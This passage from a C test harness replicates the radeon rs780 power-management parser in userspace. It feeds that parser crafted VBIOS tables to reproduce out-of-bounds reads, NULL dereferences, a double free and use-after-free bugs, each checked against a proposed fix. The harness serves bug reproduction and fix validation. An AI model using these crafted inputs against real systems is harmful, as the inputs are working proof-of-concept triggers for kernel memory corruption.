igp_info header presence scenario-controlled) */ static int rs780_dpm_init(struct radeon_device *rdev, int igp_header_present) { struct igp_power_info *pi; int ret; pi = kzalloc(sizeof(struct igp_power_info), GFP_KERNEL); /* :855 */ if (pi == NULL) return -ENOMEM; rdev->pm.dpm.priv = pi; ret = rs780_parse_power_table(rdev); /* :864 */ if (ret) return ret; pi->voltage_control = false; pi->gfx_clock_gating = true; if (igp_header_present) { /* crev 1/2 fields irrelevant to the lifetimes under test */ pi->max_voltage = 100; pi->min_voltage = 50; pi->voltage_control = false; return 0; } #ifndef FIX_DF4494 radeon_dpm_fini(rdev); /* :933 !! */ return -EINVAL; /* :934 */ #else /* proposed fix: do NOT tear the state down here; the caller * (radeon_pm_fini -> radeon_dpm_fini at teardown) owns cleanup, * so every pointer stays valid or NULL — never dangling. */ DRM_ERROR("No integrated system info for your GPU"); return -EINVAL; #endif } /* rs780_dpm.c:937-950 */ static void rs780_dpm_print_power_state(struct radeon_device *rdev, struct radeon_ps *rps) { struct igp_ps *ps = rs780_get_ps(rps); r600_dpm_print_class_info(rps->class, rps->class2); r600_dpm_print_cap_info(rps->caps); printk("\tuvd vclk: %d dclk: %d\n", rps->vclk, rps->dclk); printk("\t\tpower level 0 sclk: %u vddc_index: %d\n", ps->sclk_low, ps->min_voltage); /* :946 !! */ printk("\t\tpower level 1 sclk: %u vddc_index: %d\n", ps->sclk_high, ps->max_voltage); r600_dpm_print_ps_status(rdev, rps); } /* rs780_dpm.c:952-961 */ static void rs780_dpm_fini(struct radeon_device *rdev) { int i; for (i = 0; i < rdev->pm.dpm.num_ps; i++) { kfree(rdev->pm.dpm.ps[i].ps_priv); /* :957 */ } kfree(rdev->pm.dpm.ps); /* :959 */ kfree(rdev->pm.dpm.priv); /* :960 */ } /* radeon_pm.c:1412-1420 (caller replica) */ static void radeon_dpm_print_power_states(struct radeon_device *rdev) { int i; for (i = 0; i < rdev->pm.dpm.num_ps; i++) { printk("== power state %d ==\n", i); rs780_dpm_print_power_state(rdev, &rdev->pm.dpm.ps[i]); } } /* ================================================================== */ /* VBIOS image crafting */ /* ================================================================== */ #define BIOS_SZ 16384 #define DATA_OFF 64 /* atom data_offset of the PowerPlayInfo table */ #define TBL_SZ 512 /* claimed power-table structure size */ #define OFF_STATES 16 #define OFF_CLOCKS 128 #define OFF_NONCLOCK (TBL_SZ - 64) /* near the table end */ static struct radeon_device RDEV; static struct igp_power_info *PI; static void bios_common(uint8_t *bios) { PPLIB_MIN *p; memset(bios, 0, BIOS_SZ); RDEV.mode_info.atom_context->bios = bios; RDEV.mode_info.atom_context->data_off = DATA_OFF; RDEV.mode_info.atom_context->data_size = TBL_SZ; p = (PPLIB_MIN *)(bios + DATA_OFF); p->ucNumStates = 1; p->ucStateEntrySize = 2; p->ucClockInfoSize = sizeof(ATOM_PPLIB_RS780_CLOCK_INFO); p->ucNonClockSize = sizeof(ATOM_PPLIB_NONCLOCK_INFO); p->usStateArrayOffset = OFF_STATES; p->usClockInfoArrayOffset = OFF_CLOCKS; p->usNonClockInfoArrayOffset = OFF_NONCLOCK; } static void bios_state(uint8_t *bios, int n, int nonclock_idx, int clock_idx) { PPLIB_MIN *p = (PPLIB_MIN *)(bios + DATA_OFF); ATOM_PPLIB_STATE *st = (ATOM_PPLIB_STATE *)(bios + DATA_OFF + OFF_STATES + n * 2); p->ucNumStates = n + 1; st->ucNonClockStateIndex = nonclock_idx; st->ucClockStateIndices[0] = clock_idx; } static void bios_nonclock(uint8_t *bios, int n, u16 class, u32 vclk) { ATOM_PPLIB_NONCLOCK_INFO *ni = (ATOM_PPLIB_NONCLOCK_INFO *)(bios + DATA_OFF + OFF_NONCLOCK + n * sizeof(ATOM_PPLIB_NONCLOCK_INFO)); memset(ni, 0, sizeof(*ni)); ni->usClassification = class; ni->ulVCLK = vclk; ni->ulDCLK = vclk; } static void bios_clock(uint8_t *bios, int n, u32 lo, u32 hi, u16 vddc) { ATOM_PPLIB_RS780_CLOCK_INFO *ci = (ATOM_PPLIB_RS780_CLOCK_INFO *)(bios + DATA_OFF + OFF_CLOCKS + n * sizeof(ATOM_PPLIB_RS780_CLOCK_INFO)); memset(ci, 0, sizeof(*ci)); ci->usLowEngineClockLow = lo & 0xffff; ci->ucLowEngineClockHigh = lo >> 16; ci->usHighEngineClockLow = hi & 0xffff; ci->ucHighEngineClockHigh = hi >> 16; ci->usVDDC = vddc; } static void common_setup(void) { memset(&RDEV, 0, sizeof(RDEV)); RDEV.mode_info.atom_context = kzalloc(sizeof(struct atom_context), GFP_KERNEL); RDEV.clock.default_sclk = 40000; RDEV.num_crtc = 0; } static void alloc_pi(void) { PI = kzalloc(sizeof(struct igp_power_info), GFP_KERNEL); RDEV.pm.dpm.priv = PI; PI->refresh_rate = 60; PI->voltage_control = false; PI->gfx_clock_gating = false; /* skip clockgating stub noise */ } /* ================================================================== */ /* scenarios */ /* ================================================================== */ /* DF-4492: near OOB — poison ingestion (redzone landings), canary reports */ static void mode_4492(void) { uint8_t *bios; int ret; PPLIB_MIN *p; ATOM_PPLIB_NONCLOCK_INFO *oob_nc; union pplib_clock_info *oob_ci; union pplib_power_state *oob_st; /* table-relative coordinate of the image end: bios+DATA_OFF+16320 */ const u32 tbl_end = BIOS_SZ - DATA_OFF; /* 16320 */ printf("== DF-4492: unchecked pplib indices/strides -> OOB reads ==\n"); common_setup(); alloc_pi(); bios = kzalloc(BIOS_SZ, GFP_KERNEL); bios_common(bios); p = (PPLIB_MIN *)(bios + DATA_OFF); /* craft 1: nonClockStateIndex = 250 (u8) with ucNonClockSize = 24 -> * usNonClockInfoArrayOffset(10336) + 250*24 = 16336 lands 16 bytes * PAST the 16 KB image, inside the 64-byte rear redzone (poison) */ p->ucNonClockSize = 24; p->usNonClockInfoArrayOffset = 16336 - 250 * 24; bios_nonclock(bios, 0, 0x0001 /* BOOT */, 0); bios_state(bios, 0, 250, 0); oob_nc = (ATOM_PPLIB_NONCLOCK_INFO *)(bios + DATA_OFF + p->usNonClockInfoArrayOffset + 250 * 24); printf("BIOS image: %d bytes; nonClockInfo[250] lands at bios+%u " "(%u bytes PAST the image end, inside the rear redzone)\n", BIOS_SZ, p->usNonClockInfoArrayOffset + 250 * 24, p->usNonClockInfoArrayOffset + 250 * 24 - tbl_end); #ifndef FIX_DF4492 check_in_object("nonClockInfo[250] (OOB vs bios allocation)", oob_nc, sizeof(*oob_nc)); /* craft 2: clockInfoIndex = 250 with ucClockInfoSize = 20 -> * landing at 16336, same redzone */ p->ucClockInfoSize = 20; p->usClockInfoArrayOffset = 16336 - 250 * 20; bios_clock(bios, 0, 30000, 50000, 3); bios_state(bios, 0, 0, 250); oob_ci = (union pplib_clock_info *)(bios + DATA_OFF + p->usClockInfoArrayOffset + 250 * 20); check_in_object("clockInfo[250] (OOB vs bios allocation)", oob_ci, sizeof(ATOM_PPLIB_RS780_CLOCK_INFO)); /* craft 3: state-array walk, ucStateEntrySize = 254 -> * state[7] at 16318 + 7*254 = 18096, ~1.7 KB past the image */ bios_state(bios, 0, 0, 0); p->usStateArrayOffset = tbl_end - 2; p->ucStateEntrySize = 254; p->ucNumStates = 8; oob_st = (union pplib_power_state *)(bios + DATA_OFF + p->usStateArrayOffset + 7 * 254); check_in_object("state[7] of the ucStateEntrySize=254 walk (OOB)", oob_st, sizeof(ATOM_PPLIB_STATE)); p->ucStateEntrySize = 2; p->ucNumStates = 1; p->usStateArrayOffset = OFF_STATES; /* decisive parse run with the redzone-poison settings */ bios_state(bios, 0, 250, 250); #endif fflush(stdout); ret = rs780_parse_power_table(&RDEV); printf("rs780_parse_power_table() = %d num_ps=%d\n", ret, RDEV.pm.dpm.num_ps); #ifdef FIX_DF4492 if (ret != 0) printf("crafted table rejected (fix active)\n"); #else if (ret == 0) { printf("rps[0].class = 0x%04x %s\n", RDEV.pm.dpm.ps[0].class, RDEV.pm.dpm.ps[0].class == 0xA5A5 ? "(== canary poison: OOB READ CONFIRMED)" : ""); printf("rps[0].caps = 0x%08x %s\n", RDEV.pm.dpm.ps[0].caps, RDEV.pm.dpm.ps[0].caps == 0xA5A5A5A5 ? "(== canary poison)" : ""); printf("rps[0].vclk = 0x%08x %s\n", RDEV.pm.dpm.ps[0].vclk, RDEV.pm.dpm.ps[0].vclk == 0xA5A5A5A5 ? "(== canary poison)" : ""); printf("ps[0].sclk_low = 0x%08x %s\n", ((struct igp_ps *)RDEV.pm.dpm.ps[0].ps_priv)->sclk_low, ((struct igp_ps *)RDEV.pm.dpm.ps[0].ps_priv)->sclk_low == 0xA5A5A5A5 ? "(== canary poison)" : ""); } #endif rs780_dpm_fini(&RDEV); } /* DF-4492 far variant: guard-page-backed bios -> deterministic fault */ static void mode_4492g(void) { uint8_t *mapping, *bios; PPLIB_MIN *p; void *target; int ret; size_t pages = BIOS_SZ / 4096; printf("== DF-4492g: far OOB on guard-page-backed BIOS image ==\n"); common_setup(); alloc_pi(); mapping = mmap(NULL, (pages + 1) * 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); if (mapping == MAP_FAILED) { printf("mmap failed\n"); exit(3); } if (mprotect(mapping + pages * 4096, 4096, PROT_NONE) != 0) { printf("mprotect failed\n"); exit(3); } bios = mapping; /* image occupies [bios, bios+16KB) */ bios_common(bios); p = (PPLIB_MIN *)(bios + DATA_OFF); /* clockInfoIndex 66 * ucClockInfoSize 255 = 16830 -> landing at * bios+DATA_OFF+128+16830 = bios+17022, 638 bytes past the image end * and INSIDE the PROT_NONE guard page */ p->ucClockInfoSize = 255; bios_nonclock(bios, 0, 0x0001, 0); bios_clock(bios, 0, 30000, 50000, 3); bios_state(bios, 0, 0, 66); target = bios + DATA_OFF + p->usClockInfoArrayOffset + 66 * 255; printf("BIOS image: %d bytes at %p, guard page at %p\n", BIOS_SZ, (void *)bios, (void *)(bios + BIOS_SZ)); printf("clockInfo[66] (x255) lands at %p = %td bytes PAST the image " "end (inside the guard page)\n", target, (char *)target - (char *)(bios + BIOS_SZ)); printf("calling rs780_parse_power_table() ...\n"); fflush(stdout); ret = rs780_parse_power_table(&RDEV); printf("rs780_parse_power_table() = %d - returned%s\n", ret, #ifdef FIX_DF4492 " (fix active)"); #else " - UNEXPECTED (expected SIGSEGV in the guard page)"); #endif rs780_dpm_fini(&RDEV); } /* DF-4493: no BOOT-classified state -> NULL boot_ps -> enable faults */ static void mode_4493(void) { uint8_t *bios; int ret; printf("== DF-4493: no BOOT-classified state -> NULL boot_ps ==\n"); printf("offsetof(struct radeon_ps, ps_priv) = %zu (kernel layout: 40)\n", offsetof(struct radeon_ps, ps_priv)); common_setup(); alloc_pi(); bios = kzalloc(BIOS_SZ, GFP_KERNEL); bios_common(bios); bios_clock(bios, 0, 30000, 50000, 3); bios_nonclock(bios, 0, 0x0002 /* PERFORMANCE, no BOOT bit */, 0); bios_state(bios, 0, 0, 0); ret = rs780_parse_power_table(&RDEV); printf("rs780_parse_power_table() = %d num_ps=%d boot_ps=%p\n", ret, RDEV.pm.dpm.num_ps, (void *)RDEV.pm.dpm.boot_ps); if (RDEV.pm.dpm.boot_ps != NULL) { printf("PRECONDITION FAILED (boot_ps set) - bad scenario\n"); exit(2); } /* radeon_pm.c:1448 discards the dpm_init error; :1449 sets * current_ps=requested_ps=boot_ps; :1453 enables anyway */ RDEV.pm.dpm.current_ps = RDEV.pm.dpm.requested_ps = RDEV.pm.dpm.boot_ps; printf("calling rs780_dpm_enable() with boot_ps == NULL ...\n"); printf("(rs780_dpm.c:78 rs780_get_ps(NULL) reads NULL->ps_priv; " "kernel: page-fault panic; harness: SIGSEGV at 0x28)\n"); fflush(stdout); ret = rs780_dpm_enable(&RDEV); printf("rs780_dpm_enable() returned %d - NO CRASH%s\n", ret, #ifdef FIX_DF4493 " (fix active)"); #else " - UNEXPECTED (expected SIGSEGV at 0x28)"); #endif rs780_dpm_fini(&RDEV); } /* DF-4493 variant b: ucStateEntrySize == 1 skips every state -> NULL * ps_priv everywhere, num_ps still set */ static void mode_4493b(void) { uint8_t *bios; PPLIB_MIN *p; int ret; printf("== DF-4493b: ucStateEntrySize==1 -> no ps_priv, NULL deref in " "print ==\n"); common_setup(); alloc_pi(); bios = kzalloc(BIOS_SZ, GFP_KERNEL); bios_common(bios); p = (PPLIB_MIN *)(bios + DATA_OFF); p->ucStateEntrySize = 1; /* `if (ucStateEntrySize - 1)` false */ bios_clock(bios, 0, 30000, 50000, 3); bios_nonclock(bios, 0, 0x0001, 0); bios_state(bios, 0, 0, 0); ret = rs780_parse_power_table(&RDEV); printf("rs780_parse_power_table() = %d num_ps=%d boot_ps=%p " "ps[0].ps_priv=%p\n", ret, RDEV.pm.dpm.num_ps, (void *)RDEV.pm.dpm.boot_ps, ret == 0 ? RDEV.pm.dpm.ps[0].ps_priv : NULL); if (ret != 0) { #ifdef FIX_DF4492 printf("crafted table rejected (fix active: ucStateEntrySize " "< 2 is malformed)\n"); #else printf("parse failed - UNEXPECTED\n"); #endif return; } printf("radeon_dpm_print_power_states() walks %d states whose " "ps_priv are NULL ...\n", RDEV.pm.dpm.num_ps); printf("(rs780_dpm.c:946 ps->sclk_low with ps == NULL; harness: " "SIGSEGV at 0x8)\n"); fflush(stdout); radeon_dpm_print_power_states(&RDEV); /* radeon_dpm=1 boot path */ printf("returned - NO CRASH%s\n", #ifdef FIX_DF4493 ""); #else " - UNEXPECTED (expected SIGSEGV at 0x8)"); #endif rs780_dpm_fini(&RDEV); } /* DF-4494: ENOMEM mid-parse -> dangling dpm.ps -> double free in fini */ static void mode_4494(void) { uint8_t *bios; int ret; printf("== DF-4494: dangling dpm.ps double free in rs780_dpm_fini ==\n"); common_setup(); alloc_pi(); bios = kzalloc(BIOS_SZ, GFP_KERNEL); bios_common(bios); bios_clock(bios, 0, 30000, 50000, 3); bios_clock(bios, 1, 20000, 40000, 3); bios_nonclock(bios, 0, 0x0001 /* BOOT */, 0); bios_nonclock(bios, 1, 0x0002, 0); bios_state(bios, 0, 0, 0); bios_state(bios, 1, 1, 1); /* fail the kzalloc(struct igp_ps) of the SECOND state: * kzalloc order: atom_ctx(1) pi(2) bios(3) dpm.ps(4) ps#0(5) ps#1(6) */ kmalloc_fail_at = 6; ret = rs780_parse_power_table(&RDEV); printf("rs780_parse_power_table() = %d (ENOMEM injected at state 1)\n", ret); printf("rdev->pm.dpm.ps is %sNULL after the failed parse\n", RDEV.pm.dpm.ps == NULL ? "" : "NOT (dangling pointer kept)"); printf("rdev->pm.dpm.boot_ps = %p (%s)\n", (void *)RDEV.pm.dpm.boot_ps, RDEV.pm.dpm.boot_ps ? "points into the freed array" : "NULL"); fflush(stdout); /* radeon_pm.c:1448 discards the error; the driver loads anyway; * radeon_pm.c:1705 teardown calls dpm fini unconditionally */ printf("driver unload -> radeon_pm_fini -> rs780_dpm_fini ...\n"); fflush(stdout); rs780_dpm_fini(&RDEV); /* :959 kfree(dangling) */ printf("rs780_dpm_fini() returned; canary_violations so far = %d%s\n", canary_violations, #ifdef FIX_DF4494 " (fix active: pointer NULLed after cleanup, no double free)"); #else canary_violations ? " (DOUBLE FREE detected above)" : " - UNEXPECTED (expected double-free detection)"); #endif } /* DF-4494 variant u: enable dereferences the dangling boot_ps (UAF) */ static void mode_4494u(void) { uint8_t *bios; int ret; printf("== DF-4494u: enable after ENOMEM-dangling -> UAF read ==\n"); common_setup(); alloc_pi(); bios = kzalloc(BIOS_SZ, GFP_KERNEL); bios_common(bios); bios_clock(bios, 0, 30000, 50000, 3); bios_clock(bios, 1, 20000, 40000, 3); bios_nonclock(bios, 0, 0x0001 /* BOOT */, 0); bios_nonclock(bios, 1, 0x0002, 0); bios_state(bios, 0, 0, 0); bios_state(bios, 1, 1, 1); kmalloc_fail_at = 6; ret = rs780_parse_power_table(&RDEV); printf("rs780_parse_power_table() = %d, dpm.ps=%p boot_ps=%p\n", ret, (void *)RDEV.pm.dpm.ps, (void *)RDEV.pm.dpm.boot_ps); /* radeon_pm.c:1448 swallows; :1449 keeps the dangling boot_ps */ RDEV.pm.dpm.current_ps = RDEV.pm.dpm.requested_ps = RDEV.pm.dpm.boot_ps; check_is_freed("boot_ps (&dpm.ps[0])", RDEV.pm.dpm.boot_ps); printf("calling rs780_dpm_enable() (reads ps[0].ps_priv from the " "FREED array, then dereferences the 0xB0B0.. value) ...\n"); fflush(stdout); ret = rs780_dpm_enable(&RDEV); printf("rs780_dpm_enable() returned %d - NO CRASH%s\n", ret, #ifdef FIX_DF4494 " (fix active: dpm.ps/boot_ps NULLed, enable guard)"); #else " - UNEXPECTED (expected UAF report + SIGSEGV)"); #endif } /* DF-4494 variant w: rs780_dpm_init self-fini + swallowed error -> * UAF WRITE of the freed igp_power_info */ static void mode_4494w(void) { uint8_t *bios; int ret; printf("== DF-4494w: rs780_dpm_init self-fini (:933) + swallowed " "error -> UAF write ==\n"); common_setup(); bios = kzalloc(BIOS_SZ, GFP_KERNEL); bios_common(bios); bios_clock(bios, 0, 30000, 50000, 3); bios_nonclock(bios, 0, 0x0001, 0); bios_state(bios, 0, 0, 0); /* full rs780_dpm_init replica with the IntegratedSystemInfo header * ABSENT (atom_parse_data_header returns false at rs780_dpm.c:871) */ ret = rs780_dpm_init(&RDEV, 0); printf("rs780_dpm_init() = %d (igp header missing; init called " "radeon_dpm_fini itself at :933)\n", ret); printf("after init: dpm.ps=%p priv=%p boot_ps=%p (all dangling)\n", (void *)RDEV.pm.dpm.ps, RDEV.pm.dpm.priv, (void *)RDEV.pm.dpm.boot_ps); /* radeon_pm.c:1448 DISCARDS the -EINVAL and continues to :1453 */ printf("radeon_pm.c:1448 swallows the error -> rs780_get_pm_mode_" "parameters writes the FREED igp_power_info ...\n"); fflush(stdout); rs780_get_pm_mode_parameters(&RDEV); /* pi->crtc_id UAF WRITE */ check_freed_written("igp_power_info (dpm.priv)", RDEV.pm.dpm.priv); /* then enable faults on the freed ps array */ printf("continuing into rs780_dpm_enable() (boot_ps/ps also freed) " "...\n"); fflush(stdout); ret = rs780_dpm_enable(&RDEV); printf("rs780_dpm_enable() returned %d\n", ret); printf("UAF WRITE detection result reported above%s\n", #ifdef FIX_DF4494 " (fix active: init no longer tears the state down)"); #else ""); #endif } static void sig_handler(int sig, siginfo_t *si, void *uc) { (void)uc; fflush(stdout); printf("\n*** SIGNAL %d at address %p: %s ***\n", sig, si->si_addr, sig == SIGSEGV ? "SIGSEGV - wild/NULL pointer dereference " "(kernel: page-fault PANIC)" : sig == SIGFPE ? "SIGFPE - divide by zero (kernel: div0 PANIC)" : "abort"); fflush(stdout); _exit(99); } int main(int argc, char **argv) { struct sigaction sa; const char *mode = argc > 1 ? argv[1] : "4492"; memset(&sa, 0, sizeof(sa)); sa.sa_sigaction = sig_handler; sa.sa_flags = SA_SIGINFO; sigaction(SIGSEGV, &sa, NULL); sigaction(SIGFPE, &sa, NULL); sigaction(SIGBUS, &sa, NULL); sigaction(SIGABRT, &sa, NULL); if (!strcmp(mode, "4492")) mode_4492(); else if (!strcmp(mode, "4492g")) mode_4492g(); else if (!strcmp(mode, "4493")) mode_4493(); else if (!strcmp(mode, "4493b")) mode_4493b(); else if (!strcmp(mode, "4494")) mode_4494(); else if (!strcmp(mode, "4494u")) mode_4494u(); else if (!strcmp(mode, "4494w")) mode_4494w(); else { printf("unknown mode %s\n", mode); return 2; } printf("canary_violations = %d\n", canary_violations); return canary_violations ? 98 : 0; }